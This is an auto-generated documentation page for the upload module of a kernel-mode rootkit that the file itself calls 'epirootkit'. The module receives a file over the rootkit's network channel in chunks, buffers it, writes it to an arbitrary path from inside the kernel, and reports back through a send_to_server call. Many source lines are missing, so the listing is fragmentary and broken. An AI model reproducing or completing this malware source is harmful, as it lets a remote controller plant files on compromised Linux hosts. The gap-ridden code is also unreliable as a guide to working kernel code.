#include "upload.h"
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include "epirootkit.h"
Go to the source code of this file.
◆ handle_upload_chunk()
| int handle_upload_chunk |
( |
const char * |
data, |
|
|
size_t |
len, |
|
|
enum Protocol |
protocol |
|
) |
| |
Definition at line 16 of file upload.c.
16 {
17 size_t to_copy;
18 size_t i;
19
20 DBG_MSG(
"CHUNK SIZE : %zu\n", len);
21
23 ERR_MSG(
"handle_upload_chunk: not receiving file, aborting chunk\n");
24 return -EINVAL;
25 }
26
29 else
30 to_copy = len;
31
32 for (i = 0; i < to_copy; i++) {
34 }
36
37 DBG_MSG(
"handle_upload_chunk: received %zu bytes (%ld/%ld)\n", to_copy,
39
41 DBG_MSG(
"handle_upload_chunk: full upload received, writing to file\n");
42
44 filp_open(
upload_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
45 if (IS_ERR(filp)) {
48 }
49 else {
50 ssize_t written =
53 ERR_MSG(
"handle_upload_chunk: partial write (%zd/%ld)\n", written,
56 }
57 else {
61 }
62 filp_close(filp, NULL);
63 }
64
70 }
71
72 return 0;
73}
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
static struct dentry * file
int send_to_server(enum Protocol protocol, char *message,...)
◆ start_upload()
| int start_upload |
( |
const char * |
path, |
|
|
long |
size |
|
) |
| |
Definition at line 75 of file upload.c.
75 {
76 DBG_MSG(
"start_upload: path=%s, size=%ld\n", path, size);
77
79 return -EBUSY;
80
83 return -ENOMEM;
84
86
90 return -ENOMEM;
91 }
92
96
97 DBG_MSG(
"start_upload: setup complete\n");
98 return 0;
99}
◆ upload_handler()
| int upload_handler |
( |
char * |
args, |
|
|
enum Protocol |
protocol |
|
) |
| |
Definition at line 101 of file upload.c.
101 {
102 if (protocol !=
TCP) {
103 DBG_MSG(
"warning: upload will be over TCP.\n");
104 }
105
106 if (!args) {
108 return -EINVAL;
109 }
110
111 char *path_str = strsep(&args, " ");
112 char *size_str = args;
113
114 if (!path_str || !size_str) {
116 return -EINVAL;
117 }
118
119 long size;
120 if (kstrtol(size_str, 10, &size) < 0 || size <= 0) {
122 return -EINVAL;
123 }
124
126 if (ret < 0) {
128 return ret;
129 }
130
132 return 0;
133}
int start_upload(const char *path, long size)
◆ receiving_file
| bool receiving_file = false |
◆ upload_buffer
| char* upload_buffer = NULL |
◆ upload_path
◆ upload_received
◆ upload_size